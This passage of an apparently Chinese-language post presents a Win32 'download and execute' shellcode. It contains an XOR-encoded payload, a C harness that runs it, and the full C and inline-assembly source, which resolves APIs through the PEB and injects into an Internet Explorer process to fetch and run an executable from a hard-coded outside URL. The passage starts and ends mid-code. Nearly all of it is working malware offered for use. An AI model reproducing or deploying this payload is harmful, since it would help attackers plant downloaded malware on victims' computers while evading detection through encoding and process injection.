1\xC8\xC9\x66\x8F&#34;<br/>&#34;\x12\x0F\x79\x99\x99\x99\x12\x17\x45\x99\x99\x99\xCB\xC8\x14\x0F&#34;<br/>&#34;\x55\x99\x99\x99\xCB\x12\xCF\xD1\x14\xD7\xD5\xC8\xCB\x66\x49\x21&#34;<br/>&#34;\x98\x99\x99\x99\xC7\x5B\x9D\x99\x55\x55\x55\x55\x55\xCA\xD6\xDF&#34;<br/>&#34;\xCD\xCE\xD8\xCB\xDC\xC5\xD4\xF0\xFA\xEB\xF6\xEA\xF6\xFF\xED\xC5&#34;<br/>&#34;\xCE\xF0\xF7\xFD\xF6\xEE\xEA\xC5\xDA\xEC\xEB\xEB\xFC\xF7\xED\xCF&#34;<br/>&#34;\xFC\xEB\xEA\xF0\xF6\xF7\xC5\xD8\xE9\xE9\xB9\xC9\xF8\xED\xF1\xEA&#34;<br/>&#34;\xC5\xD0\xDC\xC1\xC9\xD5\xD6\xCB\xDC\xB7\xDC\xC1\xDC\x99&#34;<br/><br/>&#34;\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x78\x79\x7A\x72\x65&#34;<br/>&#34;\x67\x2E\x6E\x65\x74\x2F\x67\x79\x7A\x79\x2E\x65\x78\x65\x80\x00&#34;;<br/><br/>int main()<br/>{<br/>printf(&#34;Win32 \&#34;download &amp; exec shellcode\&#34;\n&#34;);<br/>myfun = (function)(int)sh5llcode;<br/>myfun();<br/><br/>return 0;<br/>}<br/><br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;源代码一并奉上<br/><br/><br/>Copy code<br/><br/>#include &lt;windows.h&gt;<br/>#include &lt;stdio.h&gt;<br/><br/>#define&nbsp;&nbsp;&nbsp;&nbsp; FNENDLONG 0x08 <br/>#define&nbsp;&nbsp;&nbsp;&nbsp; nop&nbsp;&nbsp;&nbsp;&nbsp; 0x90<br/><br/><br/>unsigned char sc[0x1000];<br/>unsigned char buff[]=<br/>&#34;GetProcAddress&#34;&#34;\x0&#34;<br/>&#34;Sleep&#34;&#34;\x0&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // [edi-0x30]<br/>&#34;GetProcAddress&#34;&#34;\x0&#34;&nbsp;&nbsp; // [edi-0x2C]<br/>&#34;WinExec&#34;&#34;\x0&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // [edi-0x28]<br/>&#34;ExitProcess&#34;&#34;\x0&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // [edi-0x24] ExitProcess<br/>&#34;Cr&#101;ateProcessA&#34;&#34;\x0&#34;&nbsp;&nbsp; // [edi-0x20]<br/>&#34;VirtualAllocEx&#34;&#34;\x0&#34;&nbsp;&nbsp; // [edi-0x1C]<br/>&#34;WriteProcessMemory&#34;&#34;\x0&#34; // [edi-0x18]<br/>&#34;Cr&#101;ateRemoteThread&#34;&#34;\x0&#34; // [edi-0x14]<br/>&#34;LoadLibraryA&#34;&#34;\x0&#34;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // [edi-0x10]<br/>&#34;Advapi32&#34;&#34;\x0&#34;<br/>&#34;RegOpenKeyExA&#34;&#34;\x0&#34;&nbsp;&nbsp; // [edi-0x0C]<br/>&#34;RegQueryValueExA&#34;&#34;\x0&#34;&nbsp;&nbsp; // [edi-0x08]<br/>&#34;RegCloseKey&#34;&#34;\x0&#34;&nbsp;&nbsp;&nbsp;&nbsp; // [edi-0x04]<br/>//&#34;\x56\x8B\x74\x24\x08\x8D\x46\x08\x50\xFF\x56\x04\x8D\x4E\x28\x51&#34;<br/>//&#34;\x50\xFF\x16\x8B\x96\x50\x02\x00\x00\x8B\x8E\x4C\x02\x00\x00\x52&#34;<br/>//&#34;\x51\x8D\x96\x4B\x01\x00\x00\x52\x8B\x56\x48\x8D\x4E\x4C\x51\x52&#34;<br/>//&#34;\xFF\xD0\xB8\x01\x00\x00\x00\x5E\xC2\x04\x00\xCC\xCC\xCC\xCC\xCC&#34;<br/>&#34;\x56\x8B\x74\x24\x08\x8D\x46\x08\x50\xFF\x56\x04\x8D\x4E\x28\x51&#34;<br/>&#34;\x50\xFF\x16\x8B\x96\xE0\x00\x00\x00\x8B\x8E\xDC\x00\x00\x00\x52&#34;<br/>&#34;\x51\x8D\x96\xCC\x00\x00\x00\x52\x8B\x56\x48\x8D\x4E\x4C\x51\x52&#34;<br/>&#34;\xFF\xD0\xB8\x01\x00\x00\x00\x5E\xC2\x04\x00\xCC\xCC\xCC\xCC\xCC&#34;<br/>&#34;SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\IEXPLORE.EXE&#34;&#34;\x0&#34;;//0x40<br/>//Advapi32.dll RegOpenKeyEx RegQueryValueEx RegCloseKey <br/>//Cr&#101;ateProcess VirtualAllocEx WriteProcessMemory Cr&#101;ateRemoteThread<br/><br/>unsigned char url[]= &#34;<a target="_blank" href="http://www.xyzreg.net/gyzy.exe">http://www.xyzreg.net/gyzy.exe</a>&#34;&#34;\x80&#34;;&nbsp;&nbsp; // 要下载的文件url地址<br/><br/>DWORD&nbsp;&nbsp; addr;<br/>void shellcode();<br/>void printsc(unsigned char *sc, int len);<br/><br/><br/>void main()<br/>{<br/>unsigned&nbsp;&nbsp; char&nbsp;&nbsp; temp;<br/>unsigned&nbsp;&nbsp; char&nbsp;&nbsp; *shellcodefnadd, *start;<br/>int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; k;<br/>char&nbsp;&nbsp;&nbsp;&nbsp; *fnendstr&nbsp;&nbsp; =&nbsp;&nbsp; &#34;\x90\x90\x90\x90\x90\x90\x90\x90\x90&#34;;<br/>int&nbsp;&nbsp;&nbsp;&nbsp; all, i;<br/><br/>memset(sc, 0, sizeof(sc));<br/><br/>// 定位shellcodefnlock的汇编代码<br/>shellcodefnadd = (unsigned char*)shellcode;<br/>temp = *shellcodefnadd;<br/>if(temp == 0xe9)<br/>{<br/>&nbsp;&nbsp;++shellcodefnadd;<br/>&nbsp;&nbsp;k=*(int *)shellcodefnadd;<br/>&nbsp;&nbsp;shellcodefnadd+=k;<br/>&nbsp;&nbsp;shellcodefnadd+=4;<br/>}<br/><br/>// 定位shellcode的起始地址<br/>for(k=0; k &lt;= 0x500; ++k)<br/>{<br/>&nbsp;&nbsp;if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;<br/>}<br/><br/>// shellcodefnadd+k+8 是得到的shellcodefnlock汇编代码地址<br/>start = shellcodefnadd+k+8;<br/><br/>// 定位 shellcode 长度<br/>for(k=0; k &lt;= 0x500; ++k)<br/>{<br/>&nbsp;&nbsp;if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;<br/>}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>// printf(&#34;%xn&#34;, htons(port)); <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>all = k + sizeof(buff)-1 + sizeof(url);<br/>printf(&#34;%d + %d + %d = %d\n&#34;, k, sizeof(buff)-1, sizeof(url), all);<br/><br/>i = k-23+sizeof(buff)-1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>printf(&#34;解包大小: %d + %d = %d = %X\n&#34;, k-23, sizeof(buff)-1, i, i); <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>memcpy(sc, start, k);<br/>memcpy(&amp;sc[k], buff, sizeof(buff)-1);<br/>memcpy(&amp;sc[k+sizeof(buff)-1], url, sizeof(url));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>addr = (DWORD)&amp;sc;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>memcpy(sc+8, &amp;i, 2);<br/><br/>// ================== print ======================<br/>// decode 长度为23字节<br/>printsc (sc, 23);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>// xor<br/>for(i=23; i &lt; k+sizeof(buff)-1; i++)<br/>{<br/>&nbsp;&nbsp;sc[i] ^= 0x99;<br/>&nbsp;&nbsp;//sc[i]++;<br/>}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>printsc(sc+23, k-23);<br/>printsc(sc + k, sizeof(buff)-1);<br/>printsc(sc + k + sizeof(buff)-1, sizeof(url));<br/><br/>//&nbsp;&nbsp; printsc(sc, k);<br/>//&nbsp;&nbsp; printsc(buff, sizeof(buff)-1);<br/>//&nbsp;&nbsp; printsc(url, sizeof(url));<br/>//&nbsp;&nbsp; printf(&#34;n%sn&#34;, url);<br/><br/>__asm<br/>{<br/>// jmp&nbsp;&nbsp;&nbsp;&nbsp; addr<br/>}<br/><br/>return;<br/>}<br/><br/><br/>void printsc(unsigned char *sc, int len)<br/>{<br/>int&nbsp;&nbsp; l;&nbsp;&nbsp;&nbsp;&nbsp; <br/>// 打印 普通shellcode<br/>for(l = 0; l &lt; len; l++)<br/>{<br/>&nbsp;&nbsp;if(l == 0) printf(&#34;\&#34;&#34;);<br/>&nbsp;&nbsp;if((l%16 == 0) &amp;&amp; (l != 0))printf(&#34;\&#34;\n\&#34;&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;printf(&#34;\\x%.2X&#34;, sc[l]);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;if(l == len-1) printf(&#34;\&#34;&#34;);<br/>}<br/>printf(&#34;\n\n&#34;);<br/><br/>/*<br/>// 打印 iis unicode shellcode<br/>for(l = 0; l &lt; len; l += 2)<br/>{<br/>&nbsp;&nbsp;if(l == 0) printf(&#34;&#34;&#34;);<br/>&nbsp;&nbsp;if((l%16 == 0) &amp;&amp; (l != 0))printf(&#34;&#34;n&#34;&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;printf(&#34;%%u%.2X%.2X&#34;, sc[l+1], sc[l]);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;if(l == len-2) printf(&#34;&#34;&#34;);<br/>}<br/>*/<br/>}<br/><br/>void shellcode()<br/>{<br/>__asm<br/>{<br/>&nbsp;&nbsp;__emit nop<br/>&nbsp;&nbsp;__emit nop<br/>&nbsp;&nbsp;__emit nop<br/>&nbsp;&nbsp;__emit nop<br/>&nbsp;&nbsp;__emit nop<br/>&nbsp;&nbsp;__emit nop<br/>&nbsp;&nbsp;__emit nop<br/>&nbsp;&nbsp;__emit nop<br/>}<br/><br/>__asm<br/>{<br/>&nbsp;&nbsp;/* --------------------解码开始---------------------- */<br/><br/><br/>&nbsp;&nbsp;jmp&nbsp;&nbsp;&nbsp;&nbsp; decode_end<br/><br/>decode_start:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp; edx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 得到解码开始位置 esp -&gt; edx<br/>&nbsp;&nbsp;dec&nbsp;&nbsp;&nbsp;&nbsp; edx<br/>&nbsp;&nbsp;xor&nbsp;&nbsp;&nbsp;&nbsp; ecx,ecx<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; cx,0x13D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 要解码的长度<br/><br/>decode_loop:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;xor&nbsp;&nbsp;&nbsp;&nbsp; byte ptr [edx+ecx], 0x99<br/>&nbsp;&nbsp;//sub&nbsp;&nbsp;&nbsp;&nbsp; byte ptr [edx+ecx],1<br/>&nbsp;&nbsp;loop&nbsp;&nbsp; decode_loop<br/>&nbsp;&nbsp;jmp&nbsp;&nbsp;&nbsp;&nbsp; decode_ok<br/><br/>decode_end:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;call&nbsp;&nbsp; decode_start<br/><br/><br/>decode_ok:<br/><br/>/*--------------------解码结束---------------------- */<br/>&nbsp;&nbsp;jmp&nbsp;&nbsp;&nbsp;&nbsp; end<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>start:<br/>&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp; edx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 指令表起始地址存放在 esp -&gt; edx<br/><br/>&nbsp;&nbsp;// ===== 从 PEB 中取得KERNEL32.DLL的起始地址 =====<br/>&nbsp;&nbsp;//<br/>&nbsp;&nbsp;// 输入:<br/>&nbsp;&nbsp;// edx =&gt; 指令表起始地址 (不需要)<br/>&nbsp;&nbsp;//<br/>&nbsp;&nbsp;// 输出:<br/>&nbsp;&nbsp;// eax =&gt; kernel32.dll起始地址<br/>&nbsp;&nbsp;// edx =&gt; 指令表起始地址<br/><br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; eax, fs:0x30&nbsp;&nbsp;&nbsp;&nbsp; // PEB<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; eax, [eax + 0x0c] // PROCESS_MODULE_INFO<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; esi, [eax + 0x1c] // InInitOrder.flink<br/>&nbsp;&nbsp;lodsd<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; eax,[eax+8]<br/><br/><br/><br/>&nbsp;&nbsp;// ========== 定位GetProcAddress的地址 ==========<br/>&nbsp;&nbsp;//<br/>&nbsp;&nbsp;// 输入:<br/>&nbsp;&nbsp;// eax =&gt; kernel32.dll起始地址<br/>&nbsp;&nbsp;// edx =&gt; 指令表起始地址<br/>&nbsp;&nbsp;//<br/>&nbsp;&nbsp;// 输出:<br/>&nbsp;&nbsp;// ebx =&gt; kernel32.dll起始地址<br/>&nbsp;&nbsp;// eax =&gt; GetProcAddress地址<br/>&nbsp;&nbsp;// edx =&gt; 指令表起始地址<br/><br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; ebx,eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 取kernel32.dll的起始地址 DLL Base Address<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; esi,dword ptr [ebx+3Ch] // esi = PE header offset<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; esi,dword ptr [esi+ebx+78h]<br/>&nbsp;&nbsp;add&nbsp;&nbsp;&nbsp;&nbsp; esi,ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // esi = exports directory table <br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; edi,dword ptr [esi+20h]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;add&nbsp;&nbsp;&nbsp;&nbsp; edi,ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // edi = name pointers table<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; ecx,dword ptr [esi+14h] // ecx = number of name pointers<br/>&nbsp;&nbsp;xor&nbsp;&nbsp;&nbsp;&nbsp; ebp,ebp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;push&nbsp;&nbsp;&nbsp;&nbsp; esi<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>search_GetProcAddress:<br/>&nbsp;&nbsp;push&nbsp;&nbsp;&nbsp;&nbsp; edi<br/>&nbsp;&nbsp;push&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; edi,dword ptr [edi]<br/>&nbsp;&nbsp;add&nbsp;&nbsp;&nbsp;&nbsp; edi,ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 把输出函数名表起始地址存人edi<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; esi,edx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 指令表起始地址存入esi<br/>&nbsp;&nbsp;//mov&nbsp;&nbsp;&nbsp;&nbsp; ecx,0Eh&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 函数getprocAddress长度为0Eh<br/>&nbsp;&nbsp;push&nbsp;&nbsp;&nbsp;&nbsp; 0xE<br/>&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>&nbsp;&nbsp;repe cmps&nbsp;&nbsp; byte ptr [esi],byte ptr [edi]<br/>&nbsp;&nbsp;je&nbsp;&nbsp;&nbsp;&nbsp; search_GetProcAddress_ok<br/><br/>&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp; edi<br/>&nbsp;&nbsp;add&nbsp;&nbsp;&nbsp;&nbsp; edi,4<br/>&nbsp;&nbsp;inc&nbsp;&nbsp;&nbsp;&nbsp; ebp<br/>&nbsp;&nbsp;loop&nbsp;&nbsp;&nbsp;&nbsp; search_GetProcAddress<br/><br/>search_GetProcAddress_ok:<br/>&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp; edi<br/>&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp; esi<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; ecx,ebp<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; eax,dword ptr [esi+0x24]<br/>&nbsp;&nbsp;add&nbsp;&nbsp;&nbsp;&nbsp; eax,ebx<br/>&nbsp;&nbsp;shl&nbsp;&nbsp;&nbsp;&nbsp; ecx,1<br/>&nbsp;&nbsp;add&nbsp;&nbsp;&nbsp;&nbsp; eax,ecx<br/>&nbsp;&nbsp;xor&nbsp;&nbsp;&nbsp;&nbsp; ecx,ecx<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; cx,word ptr [eax]<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; eax,dword ptr [esi+0x1C]<br/>&nbsp;&nbsp;add&nbsp;&nbsp;&nbsp;&nbsp; eax,ebx<br/>&nbsp;&nbsp;shl&nbsp;&nbsp;&nbsp;&nbsp; ecx,2<br/>&nbsp;&nbsp;add&nbsp;&nbsp;&nbsp;&nbsp; eax,ecx<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; eax,dword ptr [eax]<br/>&nbsp;&nbsp;add&nbsp;&nbsp;&nbsp;&nbsp; eax,ebx<br/><br/>&nbsp;&nbsp;// ============ 调用函数解决api地址 ============<br/>&nbsp;&nbsp;//<br/>&nbsp;&nbsp;// 输入:<br/>&nbsp;&nbsp;// ebx =&gt;kernel32.dll起始地址<br/>&nbsp;&nbsp;// eax =&gt;GetProcAddress地址<br/>&nbsp;&nbsp;// edx =&gt;指令表起始地址<br/>&nbsp;&nbsp;//<br/>&nbsp;&nbsp;// 输出:<br/>&nbsp;&nbsp;// edi =&gt;函数地址base addr<br/>&nbsp;&nbsp;// esi =&gt;指令表当前位置<br/>&nbsp;&nbsp;// edx =&gt;GetProcAddress 地址<br/><br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; edi,edx<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; esi,edi<br/>&nbsp;&nbsp;add&nbsp;&nbsp;&nbsp;&nbsp; esi,0xE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 0xE 跳过1个字符串&#34;GetProcAddress&#34;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;// ============ 解决kernel32.dll中的函数地址 ============<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; edx,eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 把GetProcAddress 地址存放在edx<br/>&nbsp;&nbsp;//mov&nbsp;&nbsp;&nbsp;&nbsp; ecx,0x5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 需要解决的函数地址的个数<br/>&nbsp;&nbsp;push&nbsp;&nbsp; 0x9<br/>&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp; ecx<br/>&nbsp;&nbsp;call&nbsp;&nbsp; locator_api_addr<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;// ============ 加载Advapi32.dll ============<br/>&nbsp;&nbsp;//locator_Advapi32:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;//xor&nbsp;&nbsp;&nbsp;&nbsp; eax,eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // locator_api_addr返回后eax为0<br/>&nbsp;&nbsp;//lods&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;//test&nbsp;&nbsp;&nbsp;&nbsp; eax,eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // -&gt;定位字符串&#34;Advapi32&#34;的起始地址<br/>&nbsp;&nbsp;//jne&nbsp;&nbsp;&nbsp;&nbsp; locator_Advapi32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //<br/>&nbsp;&nbsp;add&nbsp;&nbsp;&nbsp;&nbsp; esi,0xd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 0xd即&#34;Advapi32&#34;前面那个字符串的长度，<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 硬编码可以节省两个字节<br/>&nbsp;&nbsp;push&nbsp;&nbsp; edx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // edx是GetProcAddress 地址<br/>&nbsp;&nbsp;push&nbsp;&nbsp; esi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 字符&#34;Advapi32&#34;地址<br/>&nbsp;&nbsp;call&nbsp;&nbsp; dword ptr [edi-0x4]&nbsp;&nbsp;&nbsp;&nbsp; // LoadLibraryA<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;// ============ 解决Advapi32中的函数地址 ============<br/>&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp; edx<br/>&nbsp;&nbsp;mov&nbsp;&nbsp;&nbsp;&nbsp; ebx,eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 将Advapi32.dll起始地址存放在ebx<br/>&nbsp;&nbsp;//mov&nbsp;&nbsp;&nbsp;&nbsp; ecx,1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 函数个数<br/>&nbsp;&nbsp;push&nbsp;&nbsp; 0x3<br/>&nbsp;&nbsp;pop&nbsp;&nbsp;&nbsp;&nbsp; ecx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 函数个数 &lt;-这种方式省两个字节<br/>&nbsp;&nbsp;call&nbsp;&nbsp; locator_api_addr<br/><br/>&nbsp;&nbsp;// ============ 取得url起始地址 ============ <br/>&nbsp;&nbsp;add esi, 0xC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // RegCloseKey 的长度为0xC<br/>&nbsp;&nbsp;mov ebx, esi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 临时保存远线程的执行代码&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;add esi, 0x40<br/>&nbsp;&nbsp;mov eax, esi<br/>&nbsp;&nbsp;add esi, 0x41<br/>&nbsp;&nbsp;push esi<br/><br/>searchurl:<br/>&nbsp;&nbsp;inc esi<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;cmp byte ptr [esi], 0x80<br/>&nbsp;&nbsp;jne searchurl<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;xor byte ptr [esi], 0x80&nbsp;&nbsp;&nbsp;&nbsp; // 把0x80 改成 0x00 结束字符串<br/><br/>&nbsp;&nbsp;pop esi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 取得url 的起始地址<br/><br/>&nbsp;&nbsp;// ============ Shellcode功能实现部分 ============ <br/>&nbsp;&nbsp;/* 堆栈空间利用表<br/>&nbsp;&nbsp;&nbsp;&nbsp;EBP&nbsp;&nbsp;&nbsp;&nbsp; ------------&gt; 下载URL地址<br/>&nbsp;&nbsp;&nbsp;&nbsp;EBP + 0x4 ------------&gt; 远线程函数地址<br/>&nbsp;&nbsp;&nbsp;&nbsp;EBP + 0x8 ------------&gt; HKEY hkey地址<br/>&nbsp;&nbsp;&nbsp;&nbsp;EBP + 0xC ------------&gt; 存放注册表读取的IE浏览器路径 0x80字节<br/>&nbsp;&nbsp;&nbsp;&nbsp;EBP + 0x8C ------------&gt; 路径最大长度，常数 128<br/>&nbsp;&nbsp;&nbsp;&nbsp;EBP + 0x90 ------------&gt; STARTUPINFO 长度0x44<br/>&nbsp;&nbsp;&nbsp;&nbsp;EBP + 0xD4 ------------&gt; PROCESS_INFORMATION 长度0x10<br/>&nbsp;&nbsp;&nbsp;&nbsp;EBP + 0xE4 ------------&gt; 从IE进程申请到的执行函数内存地址<br/>&nbsp;&nbsp;&nbsp;&nbsp;EBP + 0xE8 ------------&gt; 从IE进程申请到的执行函数参数内存地址<br/>&nbsp;&nbsp;&nbsp;&nbsp;EBP + 0xEC ------------&gt; 构造传入远线程的参数 0xE4<br/>&nbsp;&nbsp;*/<br/>&nbsp;&nbsp;sub esp,&nbsp;&nbsp;&nbsp;&nbsp; 0x400&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //分配1024字节作局部变量<br/>&nbsp;&nbsp;mov ebp,&nbsp;&nbsp;&nbsp;&nbsp; esp<br/>&nbsp;&nbsp;mov [ebp],&nbsp;&nbsp;&nbsp;&nbsp; esi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //保存URL地址<br/>&nbsp;&nbsp;mov [ebp+0x4], ebx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //保存远线程函数地址<br/>&nbsp;&nbsp;mov [ebp+154], edx&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //GetProcAddress地址<br/><br/>&nbsp;&nbsp;//==================从注册表读取IE浏览器路径<br/>&nbsp;&nbsp;//int 3<br/>&nbsp;&nbsp;lea ecx, [ebp + 0x8]<br/>&nbsp;&nbsp;push ecx<br/>&nbsp;&nbsp;push KEY_QUERY_VALUE<br/>&nbsp;&nbsp;push 0<br/>&nbsp;&nbsp;push eax&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //edx -&gt; 键值字符串<br/>&nbsp;&nbsp;push 0x80000002<br/>&nbsp;&nbsp;call [edi-0x0C]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //RegOpenKeyExA<br/><br/>&nbsp;&nbsp;mov [ebp+0x8C],128<br/>&nbsp;&nbsp;lea 